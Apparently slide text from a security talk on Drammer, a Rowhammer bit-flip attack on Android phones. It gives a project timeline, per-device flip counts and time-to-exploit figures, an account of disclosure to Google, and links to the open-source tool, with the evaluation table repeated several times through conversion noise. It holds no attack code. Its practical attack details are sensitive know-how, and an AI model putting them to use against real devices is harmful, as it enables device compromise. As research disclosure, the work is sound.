<td>747,013</td>
<td>1s</td>
</tr>
<tr>
<td>LG Nexus 4</td>
<td>1,328</td>
<td>7s</td>
</tr>
<tr>
<td>OnePlus One</td>
<td>3,981</td>
<td>942s</td>
</tr>
<tr>
<td>Motorola Moto G (2013)</td>
<td>429</td>
<td>441s</td>
</tr>
<tr>
<td>LG G4 (ARMv8 – 64-bit)</td>
<td>117,496</td>
<td>5s</td>
</tr>
</tbody>
</table>

Bit flips on 18 out of 27 tested devices

---

### Timeline

- **March 10**: LKM support
- **March 11**: Stream
- **March 18**: S&P
- **March 23**: LKM
- **March 24**: meh.cc
- **March 25**: Hammer, Debug
- **March 26**: Bit flips!
- **April 26**: ‘Research’
- **April 29**: Userspace flips!
- **May 1**: Now what?
- **May 3**: VU meeting
- **May 16**: Building blocks
- **May 16**: CRI @ UCSB
- **May 17 - 23**: Evaluation
- **May 23**: Paper Deadline
## Evaluation

<table>
<thead>
<tr>
<th>Device</th>
<th>#flips</th>
<th>1st exploitable flip after</th>
</tr>
</thead>
<tbody>
<tr>
<td>LG Nexus 5(^1)</td>
<td>1058</td>
<td>116s</td>
</tr>
<tr>
<td>LG Nexus 5(^4)</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>LG Nexus 5(^5)</td>
<td>747,013</td>
<td>1s</td>
</tr>
<tr>
<td>LG Nexus 4</td>
<td>1,328</td>
<td>7s</td>
</tr>
<tr>
<td>OnePlus One</td>
<td>3,981</td>
<td>942s</td>
</tr>
<tr>
<td>Motorola Moto G (2013)</td>
<td>429</td>
<td>441s</td>
</tr>
<tr>
<td>LG G4 (ARMv8 – 64-bit)</td>
<td>117,496</td>
<td>5s</td>
</tr>
</tbody>
</table>

---

**March 10**  
LKM support

**March 11**  
Stream

**March 18**  
S&P

**March 23**  
LKM

**March 24**  
meh.cc

**March 25**  
Hammer, Debug

**March 26**  
Bit flips!

< **April 26**  
'Research'

**April 29**  
Userspace flips!

**May 1**  
Now what?

**May 3**  
VU meeting

< **May 16**  
Building blocks

**May 16**  
CRI @ UCSB

**May 17 - 23**  
Evaluation

**May 23**  
Paper Deadline
## Evaluation

<table>
<thead>
<tr>
<th>Device</th>
<th>#flips</th>
<th>1st exploitable flip after</th>
</tr>
</thead>
<tbody>
<tr>
<td>LG Nexus 5&lt;sup&gt;1&lt;/sup&gt;</td>
<td>1058</td>
<td>116s</td>
</tr>
<tr>
<td>LG Nexus 5&lt;sup&gt;4&lt;/sup&gt;</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>LG Nexus 5&lt;sup&gt;5&lt;/sup&gt;</td>
<td>747,013</td>
<td>1s</td>
</tr>
<tr>
<td>LG Nexus 4</td>
<td>1,328</td>
<td>7s</td>
</tr>
<tr>
<td>OnePlus One</td>
<td>3,981</td>
<td>942s</td>
</tr>
<tr>
<td>Motorola Moto G (2013)</td>
<td>429</td>
<td>441s</td>
</tr>
<tr>
<td>LG G4 (ARMv8 – 64-bit)</td>
<td>117,496</td>
<td>5s</td>
</tr>
</tbody>
</table>
## Evaluation

<table>
<thead>
<tr>
<th>Device</th>
<th>#flips</th>
<th>1st exploitable flip after</th>
</tr>
</thead>
<tbody>
<tr>
<td>LG Nexus 5&lt;sup&gt;1&lt;/sup&gt;</td>
<td>1058</td>
<td>116s</td>
</tr>
<tr>
<td>LG Nexus 5&lt;sup&gt;4&lt;/sup&gt;</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>LG Nexus 5&lt;sup&gt;5&lt;/sup&gt;</td>
<td>747,013</td>
<td>1s</td>
</tr>
<tr>
<td>LG Nexus 4</td>
<td>1,328</td>
<td>7s</td>
</tr>
<tr>
<td>OnePlus One</td>
<td>3,981</td>
<td>942s</td>
</tr>
<tr>
<td>Motorola Moto G (2013)</td>
<td>429</td>
<td>441s</td>
</tr>
<tr>
<td>LG G4 (ARMv8 – 64-bit)</td>
<td>117,496</td>
<td>5s</td>
</tr>
<tr>
<td>Device</td>
<td>#flips</td>
<td>1st exploitable flip after</td>
</tr>
<tr>
<td>--------------------------------</td>
<td>--------</td>
<td>---------------------------</td>
</tr>
<tr>
<td>LG Nexus 5¹</td>
<td>1058</td>
<td>116s</td>
</tr>
<tr>
<td>LG Nexus 5⁴</td>
<td>0</td>
<td>-</td>
</tr>
<tr>
<td>LG Nexus 5⁵</td>
<td>747,013</td>
<td>1s</td>
</tr>
<tr>
<td>LG Nexus 4</td>
<td>1,328</td>
<td>7s</td>
</tr>
<tr>
<td>OnePlus One</td>
<td>3,981</td>
<td>942s</td>
</tr>
<tr>
<td>Motorola Moto G (2013)</td>
<td>429</td>
<td>441s</td>
</tr>
<tr>
<td>LG G4 (ARMv8 – 64-bit)</td>
<td>117,496</td>
<td>5s</td>
</tr>
</tbody>
</table>

After the 1st exploitable flip, exploitation takes at most 22 seconds
May 17 – May 23

Wrapping Up

Remaining bits and pieces

• Evaluation
• May 18 – May 21: Visiting Yosemite Park
• Searching for another sidechannel
• May 21 – May 23: San Jose (Security & Privacy)
• Paper writing
• Submitting

Aftermath (June – July)

• Exploit writing!
• Disclosure!
Disclosure

Contacted Google with suggested mitigations on July 25, 2016

(91 days before #CCS16)

“Can you publish at another conference, later this year?”

“What if we support you financially?”
Disclosure

Contacted Google with suggested mitigations on July 25, 2016

(91 days before #CCS16)

“Ok, could you then perhaps obfuscate some parts of the paper?”

Rewarded $4000

Partial hardening in November’s updates

“*We will continue to work on a longer term solution*”
Now what?
Widespread Rowhammer exploitation

- Cloud > Browser > Mobile
- Bit flips on LPDDR2, LPDDR3, LPDDR4 modules
- Reliable exploitation without custom OS features

Software was never designed to deal with bit flips

- Proposed defenses are in early stages and easily bypassed
- Even hardware mitigations are currently still optional

You cannot fix Rowhammer

- More research is necessary
More details, demos, statistics, and Drammer test app
https://vusec.net/projects/drammer

open source: https://github.com/vusec/drammer

@vvdveen